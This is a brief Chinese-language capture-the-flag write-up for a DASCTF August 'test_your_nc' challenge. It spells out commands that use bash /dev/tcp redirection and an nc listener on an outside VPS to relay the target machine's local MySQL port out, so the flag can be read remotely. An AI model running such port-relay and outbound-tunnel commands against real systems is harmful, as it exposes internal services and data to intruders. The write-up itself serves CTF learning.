被当工具人的一天,这里放出DASCTF八月月赛部分题目的解题思路,具体wp略:
test_your_nc
- fuzz命令,或者使用逆向工具逆向附件可得知,nc连接靶机将会直接给予一个bash shell。
- ls得到文件列表,cat hint得到提示,flag在靶机当前机器(127.0.0.1:3306)的mysql中,并且给出了需要运行的命令。
- ls /bin得到只有cat,sh,bash,ls命令可用,考虑利用bash支持/dev/tcp伪文件协议的特性,将靶机上的3306端口反弹至公网访问。
- 在自己的vps上运行(需要放开9999、9998端口的防火墙):echo '#!/bin/bash' > /tmp/mync.sh;echo 'nc -lp 9999' >> /tmp/mync.sh;chmod +x /tmp/mync.sh;nc -lvp 9998 -e /tmp/mync.sh;
- 在kali虚拟机(自带mysql)或其他带有mysql的机器运行:mysql -uctf -pctf --ssl=1 -hVPS地址 -P9998 -e 'select flag from flag.flag;'
- 使用nc工具连接靶机,在靶机上运行:exec 4<>/dev/tcp/127.0.0.1/3306;exec 5<>/dev/tcp/VPS地址/9999;cat <&4 >&5 & cat <&5 >&4;
- 执行成功后,可以在5. 中的mysql命令执行窗口看见flag。